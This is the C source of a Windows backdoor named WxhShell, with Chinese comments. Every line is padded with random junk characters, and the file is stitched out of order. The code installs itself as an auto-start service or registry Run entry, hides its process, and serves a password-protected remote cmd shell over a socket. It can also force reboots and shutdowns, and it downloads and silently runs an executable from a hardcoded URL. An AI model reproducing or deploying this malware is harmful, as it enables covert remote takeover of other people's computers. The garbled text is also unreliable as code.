    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.,pcnaQb  
    else { !dOpLUh l  
    closesocket(wsh); C=x70Y/  
    ExitThread(0); k|3hs('y|  
    } vf?Xt  
    break; GsU.Lkf  
    } bwe)_<c  
  // 获取shell 4P}d/w?'KL  
  case 's': { y/;DA=  
    CmdShell(wsh); 3*#$:waGd  
    closesocket(wsh); " 1%\Fil  
    ExitThread(0); }%`f%/  
    break; V?"1&m& E  
  } TTD#ovo'  
  // 退出 cS(=wC  
  case 'x': { ?D['>Rzu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @nOuFX4  
    CloseIt(wsh); 2[i(XG{/  
    break; (&Mv!6]  
    } K&BaGrR  
  // 离开 R{UZCFZ  
  case 'q': { Zx^R-9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gdkHaLL"  
    closesocket(wsh); A@jBn6  
    WSACleanup(); p<c1$O*  
    exit(1); &"d :+!4h  
    break; S2:G#%EAa  
        } bKk7w#y  
  } iz3Hoj  
  } uLr-!T  
";TqYk=-  
  // 提示信息 k,LaFe`W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %e+{wU}w?2  
} E&>;a!0b]  
  } 6\USeZh  
11RqP:zg  
  return; ?d_vD@+\  
} Daq lL  
oF_ '<\ly=  
// shell模块句柄 jJAr #|  
int CmdShell(SOCKET sock) CEJqo8ds  
{ >=/DCQ$  
STARTUPINFO si; 0Ok[`r`  
ZeroMemory(&si,sizeof(si)); 2]V8-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X0]Se(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WF-^pfRq~  
PROCESS_INFORMATION ProcessInfo; f('##pND@  
char cmdline[]="cmd"; BO0Y#fs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  K0Lc~n/  
  return 0; `d4;T|f+=  
} nPhREn!  
*iV#_  
// 自身启动模式 FpZ5@  
int StartFromService(void) +de5y]1H,|  
{ 4iY <7l8  
typedef struct _ME?o  
{ s8SCEpz  
  DWORD ExitStatus; Iv/h1j> H  
  DWORD PebBaseAddress; 83F]d+n  
  DWORD AffinityMask; u. 2^t :A  
  DWORD BasePriority; h<i.Z7F;tj  
  ULONG UniqueProcessId; 2=$ F*B>9  
  ULONG InheritedFromUniqueProcessId; 7-mo\jw<  
}   PROCESS_BASIC_INFORMATION; {BZ0x2  
rBZ00}  
PROCNTQSIP NtQueryInformationProcess; vy5I#q(k  
g{JH5IZ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [6)vD@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dTqL[?wH?  
xP &@|Ag  
  HANDLE             hProcess; W?0u_F  
  PROCESS_BASIC_INFORMATION pbi; Hk?E0.  
vH@$?b3VP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5uU{!JuSa  
  if(NULL == hInst ) return 0; [ZD`t,x(  
!L)yI#i4C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `+(4t4@ew  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7e /Kh)5G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tD])&0"(  
- XB[2h  
  if (!NtQueryInformationProcess) return 0; W=4|ahk$  
Lbu,VX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %:y"o_X_  
  if(!hProcess) return 0; d.k'\1o  
:|Bzbn=N2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t![972.&  
1pT/`x  
  CloseHandle(hProcess); 5;A=8bryU  
;0}C2Cz'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eNrwkV^  
if(hProcess==NULL) return 0; c+jnQM'  
i}>} %l|  
HMODULE hMod; Oyp)Wm;@  
char procName[255]; 1~[GGl  
unsigned long cbNeeded; ~e=KBYDBu  
S9 @*g3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8xHjdQr  
M] W5 %3do  
  CloseHandle(hProcess); '8b=4mrbH  
_#w5hX cu  
if(strstr(procName,"services")) return 1; // 以服务启动 a]4|XJ_  
8},fu3Z  
  return 0; // 注册表启动 JB HnJm  
} r6 L  
!%QbE[Kl>  
// 主模块 Tx/KL%X  
int StartWxhshell(LPSTR lpCmdLine) !={QL:  
{ ]% UAN_T  
  SOCKET wsl; ]CgZt' h{  
BOOL val=TRUE; ar@ysBy  
  int port=0; M+lI,j+  
  struct sockaddr_in door; #J%Fi).^)  
[Rzn>  
  if(wscfg.ws_autoins) Install(); [}y"rs`!  
kLbo |p"cT  
port=atoi(lpCmdLine); h|ja67VG  
@@|H8mP}H  
if(port<=0) port=wscfg.ws_port; 3A el  
%j?7O00 @  
  WSADATA data; >c.HH}O0W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >Yfo $S_  
Y 4*?QBYA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *'R2Lo<C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >IHf5})R  
  door.sin_family = AF_INET; 0!`!I0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j{P3o<l&`  
  door.sin_port = htons(port); 0vM,2:kf*  
;+Mr|vweTC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DkBVk+  
closesocket(wsl); e3kdIOu5  
return 1; IE&G7\>(yO  
} [q!)Y:|u_>  
IF3V5Q  
  if(listen(wsl,2) == INVALID_SOCKET) { _x?S0R1  
closesocket(wsl); m\ /V0V\  
return 1; \>4x7mF!  
} WI54xu1M  
  Wxhshell(wsl); *JVJKqed  
  WSACleanup(); :#UN^"(m}  
q|e<b  
return 0; qFjnuQ,w  
92L{be; SY  
} \fL:Ie  
`Dv &.  
// 以NT服务方式启动 5va ;Ol4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =eG:Scoug?  
{ el,n5O Z7  
DWORD   status = 0; 6}PoBhgSg-  
  DWORD   specificError = 0xfffffff; )> a^%V9  
9wv 7 HD|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; J8 25CE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /ee4 v!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5VW*h  
  serviceStatus.dwWin32ExitCode     = 0; cin3)lm  
  serviceStatus.dwServiceSpecificExitCode = 0; CB?,[#r5f  
  serviceStatus.dwCheckPoint       = 0; ,T7(!)dR  
  serviceStatus.dwWaitHint       = 0; L!kbDbqn  
Ib$?[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;EfREfk  
  if (hServiceStatusHandle==0) return; 3(La)|k  
_95`w9  
status = GetLastError(); >HQ<KFA  
  if (status!=NO_ERROR) T8a!"lPP7  
{ (1Ii86EP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !6d`e"\K  
    serviceStatus.dwCheckPoint       = 0; z@J;sz  
    serviceStatus.dwWaitHint       = 0; lF!Iu.MM 9  
    serviceStatus.dwWin32ExitCode     = status; WhR'MkfL  
    serviceStatus.dwServiceSpecificExitCode = specificError; ca8.8uHY\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pc<A ,?  
    return; !:Clzlg   
  } Q GDfX_  
kM/;R)3t4/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;923^*\:F{  
  serviceStatus.dwCheckPoint       = 0; >zB0+l  
  serviceStatus.dwWaitHint       = 0; I?i,21:5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CT#N9  
} ~UV$(5&-  
,Mw;kevw  
// 处理NT服务事件,比如:启动、停止 yS(tF`H[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 00@y,V_]  
{ Tta+qjr  
switch(fdwControl) @60/IE{-v  
{ -m>ng E~q  
case SERVICE_CONTROL_STOP: qW:\6aEG  
  serviceStatus.dwWin32ExitCode = 0; &sJ%ur+G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d512Y[ R  
  serviceStatus.dwCheckPoint   = 0; z[ ml;?  
  serviceStatus.dwWaitHint     = 0; J2~oIe2!+  
  { "+J[7p}`@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I%31MU9  
  } pwO U6A!  
  return; [\e2 ID;  
case SERVICE_CONTROL_PAUSE: G=%SMl>[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mmrz:_  
  break; >vY5%%}  
case SERVICE_CONTROL_CONTINUE: j /=4f�  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .[4Dv t|>6  
  break; "+:IA|1wD  
case SERVICE_CONTROL_INTERROGATE: Se-n#  
  break; "#a,R ^J  
}; DnW*q/=w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _m|Tr*i8  
} l@ W?qw  
@.h|T)Zyr  
// 标准应用程序主函数 )s4a<S c]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) itW~2#nJz  
{ 4Fpu68y  
Vtr5<:eEx  
// 获取操作系统版本 iZ-"l3) D  
OsIsNt=GetOsVer(); \@HsMV2+zN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )S6"I  
^J Y]w^u  
  // 从命令行安装 73OYHp_j  
  if(strpbrk(lpCmdLine,"iI")) Install(); $'>h7].  
!c8hER!  
  // 下载执行文件 /xcl0oe(  
if(wscfg.ws_downexe) { N61\]BN<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r*t\\2  
  WinExec(wscfg.ws_filenam,SW_HIDE); BTu_$5F  
} <i!7f26r  
CA{(x(W\:  
if(!OsIsNt) { oaJnLd90W  
// 如果时win9x,隐藏进程并且设置为注册表启动 c$HZvv  
HideProc(); Td6"o&0A!  
StartWxhshell(lpCmdLine); Fz4g:8qdA  
} 9n#Em  
else ![*7HE>},  
  if(StartFromService()) J#^oUq  
  // 以服务方式启动 i+HHOT  
  StartServiceCtrlDispatcher(DispatchTable); x<%V&<z1g  
else IDpW5Dc  
  // 普通方式启动 _Q1[t9P"  
  StartWxhshell(lpCmdLine); MKN],l N  
9xm'0 '  
return 0; d2e4=/ A%  
} Zr.6J*&!  
`upxM0gc  
<..|:0Q&~  
1v^eXvY  
=========================================== # U j~F  
7xmif YC  
#c:b8rw  
ZBAtRs  
3bW(VvgcL4  
x#{.mN  
" R2[-Q"|Ra  
u \zP`Y  
#include <stdio.h> hqKftk)+  
#include <string.h> (\M&Q-xZ  
#include <windows.h> CgO&z<A!&  
#include <winsock2.h> ()>,L? y  
#include <winsvc.h> %!i|"FNc  
#include <urlmon.h> EecV%E  
C{8d^SCA"  
#pragma comment (lib, "Ws2_32.lib") 1k8zAtuj  
#pragma comment (lib, "urlmon.lib") `fRp9o/  
oG_-a(N  
#define MAX_USER   100 // 最大客户端连接数 xiW;Y{kZ  
#define BUF_SOCK   200 // sock buffer s;;"^5B.  
#define KEY_BUFF   255 // 输入 buffer T$ )dc^  
_v9P0W^.7  
#define REBOOT     0   // 重启 /{9"O y7E  
#define SHUTDOWN   1   // 关机 _a 40lcP  
&gL &@';,  
#define DEF_PORT   5000 // 监听端口 8T#tB,<fFW  
\%FEQa0u  
#define REG_LEN     16   // 注册表键长度 ,{br6*E  
#define SVC_LEN     80   // NT服务名长度 9 ZD4Gv   
Lh(` 9(tX  
// 从dll定义API cj!Ew}o40D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g}B|ZRz+{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @m=xCg.Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b&V}&9'[M;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I;<aJo6Yl  
2-<i#nA3  
// wxhshell配置信息 J~jR`2+r  
struct WSCFG { %fyah}=  
  int ws_port;         // 监听端口 /bd1Bi  
  char ws_passstr[REG_LEN]; // 口令 LPNJuz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7O,y%NWaK  
  char ws_regname[REG_LEN]; // 注册表键名 }RvP*i  
  char ws_svcname[REG_LEN]; // 服务名 @l:o0(!W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JP t=~e(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 18AKM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pUz;e#J|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RnX:T)+o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `;9Z?]}`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1%nE  
FesXY856E  
}; [Ie;Jd>gG  
J}9 I5O  
// default Wxhshell configuration DhAQ|SdCf  
struct WSCFG wscfg={DEF_PORT, K; +w'/{  
    "xuhuanlingzhe", 6jKZ.S+s)  
    1, GuV.7&!x  
    "Wxhshell", ,y+}0q-Ou  
    "Wxhshell", _U"9#<  
            "WxhShell Service", : ;nvqbd  
    "Wrsky Windows CmdShell Service",  J(  
    "Please Input Your Password: ", M%evk4_27  
  1, ]R$ u3F  
  "http://www.wrsky.com/wxhshell.exe", 5)rMoYn25  
  "Wxhshell.exe" s5DEuu>g  
    }; V4PV@{G  
P)2.Gx/  
// 消息定义模块 NRM=0-16u$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VoOh$&"M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \!erP!$x .  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FSs<A@  
char *msg_ws_ext="\n\rExit."; D[7+xAwS  
char *msg_ws_end="\n\rQuit."; )NoNgU\7!  
char *msg_ws_boot="\n\rReboot..."; (W~')A"hC'  
char *msg_ws_poff="\n\rShutdown..."; \D9J!K82  
char *msg_ws_down="\n\rSave to "; oM&}akPE  
B J0P1vh6M  
char *msg_ws_err="\n\rErr!"; }'y=JV>l  
char *msg_ws_ok="\n\rOK!"; q;^Q1[Ari  
W_%p'8,  
char ExeFile[MAX_PATH]; ]>33sb S6  
int nUser = 0; JfJLJ(}  
HANDLE handles[MAX_USER]; I,*zZNv Ri  
int OsIsNt; atW=xn  
UkE  fuH  
SERVICE_STATUS       serviceStatus; g/o@,_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `FjU2 O  
J 8z|ua  
// 函数声明 "h-G=vo,kl  
int Install(void); wN|;_~h2  
int Uninstall(void); T=EHue$  
int DownloadFile(char *sURL, SOCKET wsh); `Dck$  
int Boot(int flag); fL #e4  
void HideProc(void); R|jt mI?  
int GetOsVer(void); s+@+<QE  
int Wxhshell(SOCKET wsl); (9#$za>  
void TalkWithClient(void *cs); *?2aIz"  
int CmdShell(SOCKET sock); &DX&*Xq2  
int StartFromService(void); /Ria"lLv  
int StartWxhshell(LPSTR lpCmdLine); % Rv ;e  
e;M#MkP7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PJ-EQ6W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >tmv3_<=  
A)2eo<ij4  
// 数据结构和表定义 Ej\M e  
SERVICE_TABLE_ENTRY DispatchTable[] = C#^V<:9  
{ B1x# 7>K  
{wscfg.ws_svcname, NTServiceMain}, N-0kB vo  
{NULL, NULL} (;9-8Y&_d  
}; $ ]ew<j  
y@#JzfY?Hr  
// 自我安装 9; \a|8O  
int Install(void) @>r3=s.Q  
{ gQ < >S  
  char svExeFile[MAX_PATH]; * LaL('.>  
  HKEY key; ma +iIt;  
  strcpy(svExeFile,ExeFile); 1BA/$8G  
Ihd{ @6m  
// 如果是win9x系统,修改注册表设为自启动 8=GgTpO5  
if(!OsIsNt) { JE a~avyJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TpB4VNi/<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #2/2X v  
  RegCloseKey(key); 88@" +2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { | ODi[~y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FZvh]ZX  
  RegCloseKey(key); :7WeR0*%  
  return 0; BHNcE*U}@?  
    } eWN[EJI<  
  } GOKca%DT=  
} >/r^l)`9_f  
else { =t/ "&[r  
rZij[6]Y^  
// 如果是NT以上系统,安装为系统服务 0eGz|J*7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wM-I*<L>  
if (schSCManager!=0) 5~,/VV  
{ ^=CO gO]e  
  SC_HANDLE schService = CreateService BF="gZoU<  
  ( -4%{Jb-1  
  schSCManager, q =\3jd  
  wscfg.ws_svcname, }nsxo5WP  
  wscfg.ws_svcdisp, dR9[K4`p/  
  SERVICE_ALL_ACCESS, m]7oTmS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n$*e(  
  SERVICE_AUTO_START, L@|xpq  
  SERVICE_ERROR_NORMAL, #OQT@uF!  
  svExeFile, fEWXC|"  
  NULL, j3Sz+kOf,  
  NULL, 6UK}?+r~  
  NULL, ~7G@S&<PK(  
  NULL, 33M10 1X{6  
  NULL 6>X9|w  
  ); 5DI&pR1eZ  
  if (schService!=0) <>Nq ]WqA  
  { ?o D]J  
  CloseServiceHandle(schService); 5x2m ]u  
  CloseServiceHandle(schSCManager); N!{waPbPi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pzQWr*5a  
  strcat(svExeFile,wscfg.ws_svcname); kKFhbHUZa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (}4]U=/nV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h1(GzL%i_  
  RegCloseKey(key); oMUyP~1  
  return 0; apkmb<  
    } mj7Em&  
  } zrazbHI  
  CloseServiceHandle(schSCManager); ,rU>)X  
} ;X z fd  
} U2DE zr  
6^+T_{gl  
return 1; Zv"qA  
} ?BEO(;'  
xoYaL  
// 自我卸载 G@N-+  
int Uninstall(void) a,YU)v^  
{ zm&?G  
  HKEY key; mdB~~j  
O0~Qh0~l  
if(!OsIsNt) { &^I2NpT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \7d T]VV  
  RegDeleteValue(key,wscfg.ws_regname); $q%l)]+  
  RegCloseKey(key); hmG^l4B.T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Wn0,%x2  
  RegDeleteValue(key,wscfg.ws_regname); $Lc-}m9n  
  RegCloseKey(key); }jI=*  
  return 0; rIhe}1  
  } B.oD9 <9  
} y.6Yl**l  
} rHMr8,J;  
else { c+bOp 05o-  
6a%dq"5 +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S_|VlI  
if (schSCManager!=0) g{U?Y"  
{ 1M<;}hJ{/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u]uUm1Er  
  if (schService!=0) |/M^q{h&7s  
  { A4mnm6Tf  
  if(DeleteService(schService)!=0) { mR1|8H!f  
  CloseServiceHandle(schService); EqjaD/6Y`  
  CloseServiceHandle(schSCManager); }R\;htmc;  
  return 0; \Q~HL_fy|Y  
  } LPRvzlY=  
  CloseServiceHandle(schService); b;~?a#Z}  
  } BM+>.  
  CloseServiceHandle(schSCManager); <W2 YG6^i  
} ]T<\d-!CZN  
} Q\qI+F2?  
ndE"v"_H  
return 1; LV6BSQyQ  
} <AN=@`+  
C U 8s*  
// 从指定url下载文件 7W7yjG3g  
int DownloadFile(char *sURL, SOCKET wsh) z<~yns`Y.  
{ FDQP|,  
  HRESULT hr; KrzIL[;2o  
char seps[]= "/"; F=9-po  
char *token; rJ^*8C!  
char *file; *_,: &Ur  
char myURL[MAX_PATH]; EjjW%"C,  
char myFILE[MAX_PATH]; 1(4}rB3  
5@/hqOiu  
strcpy(myURL,sURL); 2$=I+8IL  
  token=strtok(myURL,seps); 6jpfo'uB$  
  while(token!=NULL) +j!$88%Z{  
  { .Z#8,<+  
    file=token; F./$nwb  
  token=strtok(NULL,seps); ~z$+uK  
  } }Lc8tj<  
0\tdxi  
GetCurrentDirectory(MAX_PATH,myFILE); TMAart; <  
strcat(myFILE, "\\"); 3zsjL=ta  
strcat(myFILE, file); zYZ^/7)  
  send(wsh,myFILE,strlen(myFILE),0); ^3 6oqe{  
send(wsh,"...",3,0); C<"b99\2`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \1[v-hvK  
  if(hr==S_OK) [`/d$V!e  
return 0; X6 SqOb\(a  
else j@778fvM\t  
return 1; 0J5IO|1M  
/~6)Vt  
} dkI(&/  
d:GAa   
// 系统电源模块 RuBL_Vi  
int Boot(int flag) 7Pp~)Kq=  
{ b[;Zl<  
  HANDLE hToken; Bm:N@wg  
  TOKEN_PRIVILEGES tkp; 'M=c-{f~  
skzTw66W.  
  if(OsIsNt) { M?I^Od'8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 96 P3B}Dk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s& Lyg>>`  
    tkp.PrivilegeCount = 1; w7"&\8a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 88~ lP7J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3^2P7$W=   
if(flag==REBOOT) { s{@3G8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j"wbq-n,7  
  return 0; Q|&Wcxq2!  
} cjyb:gAO  
else { $?Z-BD1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,Jqk0cW2  
  return 0; E*]%@6tH  
} 2& ZoG%)  
  } ?I}0[+)V  
  else { NWt5)xl  
if(flag==REBOOT) { Ou,Eu05jt'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ua\<oD79]  
  return 0; yIG*  
} 0OF]|hH  
else { nA 5-P}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LAcK%  
  return 0; Y>a2w zr  
} x^u [L$  
} IKVS7m  
h6uv7n~4  
return 1; (8d"G9R(  
} rwCjNky!  
kO'_g1f<[  
// win9x进程隐藏模块 ^E|{i]j#f  
void HideProc(void) ly)L%hG  
{ kp>AZVk  
8iKupaaOX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4M3{P  
  if ( hKernel != NULL ) S1G=hgF_L  
  {  OYwH$5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ e4y:#Nu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e,rCutA)  
    FreeLibrary(hKernel); QCVwslj,K  
  } F%F:Gr/  
yMCd5%=M\  
return; a]nyZdt`  
} rn"}@5  
+~cW0z  
// 获取操作系统版本 $kCXp.#k@~  
int GetOsVer(void) x39n7+j4  
{ ;VI W/  
  OSVERSIONINFO winfo; ]xf|xs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,.PW qfb  
  GetVersionEx(&winfo); zm`^=cV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  {xS\CC(g  
  return 1; ~ @Au<   
  else hY^-kdQ>M  
  return 0; {nyVC%@Y  
} /m+q!yi &  
eq(Xzh  
// 客户端句柄模块 =h/0k y  
int Wxhshell(SOCKET wsl) u>I;Cir4  
{ XF=GmkO  
  SOCKET wsh; F G5e{  
  struct sockaddr_in client; WeqQw?-  
  DWORD myID; :.%Hu9=GL  
&f$[>yg1-  
  while(nUser<MAX_USER) Kk t9M\  
{ -f!oq7U  
  int nSize=sizeof(client); +ziQ]r2g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UB&)U\hn  
  if(wsh==INVALID_SOCKET) return 1; (y;8izp9!  
2O~I.(9(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XkJzt  
if(handles[nUser]==0) qGgqAF#B  
  closesocket(wsh); DGllJ_/Z  
else w+Cs=!  
  nUser++; |e#ea~/b  
  } is,r:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]/C1pG*o  
ob3Z I  
  return 0; {2,OK=XM|  
} a|\ZC\(xI  
3kl\W[`?  
// 关闭 socket \hcb~>=C  
void CloseIt(SOCKET wsh) ?a]u yw,  
{ T-L; iH~0  
closesocket(wsh); /92m5p  
nUser--; DTw3$:  
ExitThread(0); U]h5Q.<SG  
} Tfba3+V  
3#@ETt0X(  
// 客户端请求句柄 1*!`G5c,}  
void TalkWithClient(void *cs) 5$ra4+k0  
{ c>*RQ4vE  
Vgh_F8G!V  
  SOCKET wsh=(SOCKET)cs; M6+_Mi.  
  char pwd[SVC_LEN]; X)K3X:~L+  
  char cmd[KEY_BUFF]; !Xbr7:UPN1  
char chr[1]; C$1}c[  
int i,j; k^IC"p Uc  
Jm+hDZrW  
  while (nUser < MAX_USER) { !a[1rQH  
]zza/O;31(  
if(wscfg.ws_passstr) { oKJj?%dHK9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PB :Lj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K 8gd?88  
  //ZeroMemory(pwd,KEY_BUFF); yn[^!GuJ_  
      i=0; 7xOrG],E  
  while(i<SVC_LEN) { x@I(G "  
@ qfVt  
  // 设置超时 v_gQCS  
  fd_set FdRead; U0+Hk+  
  struct timeval TimeOut; C>qKKLZ  
  FD_ZERO(&FdRead); ]tVU$9D   
  FD_SET(wsh,&FdRead); W:7oGZ>4  
  TimeOut.tv_sec=8; EEaf/D/jt  
  TimeOut.tv_usec=0; pOCLyM9c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ueiXY|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q`Q%;%t  
1>"K<6b+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A&2)iQ  
  pwd=chr[0]; CE$c/d[N.  
  if(chr[0]==0xd || chr[0]==0xa) { wPn#>\/L  
  pwd=0; - T,;Fr'  
  break; /h ef3DV5I  
  } \S)\~>.`y!  
  i++; NY'sZTM&  
    } (o1*7_]e  
>C`b 4xQ  
  // 如果是非法用户,关闭 socket L44/eyrp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3+<}Hm+  
} !po8[fz~x  
<|M cE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *N .f_s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (>x4X@b  
=8r%zLDw  
while(1) { 3hOiHO ;  
DHO6&8S  
  ZeroMemory(cmd,KEY_BUFF); $/aZ/O)F  
xq2{0q  
      // 自动支持客户端 telnet标准   SSKn7`  
  j=0; -,Q !:  
  while(j<KEY_BUFF) { W27EU/+3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4+od N.  
  cmd[j]=chr[0]; 1Z?en  
  if(chr[0]==0xa || chr[0]==0xd) { :h tOz.  
  cmd[j]=0; P"J(O<(1-:  
  break; c|lo%[]R!  
  } ; /fZh:V2  
  j++; GNzk Vy:u  
    } Fg)Iw<7_2  
M1^?_;B  
  // 下载文件 92F (Sl  
  if(strstr(cmd,"http://")) { 7u!i)<pn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8F(lW)An  
  if(DownloadFile(cmd,wsh)) y#5xS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZxC.;xJ  
  else 'ao<gTUbu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z~o6%_xe  
  } .7Zb,r  
  else { tr6<89e(o  
r#^/qs(~  
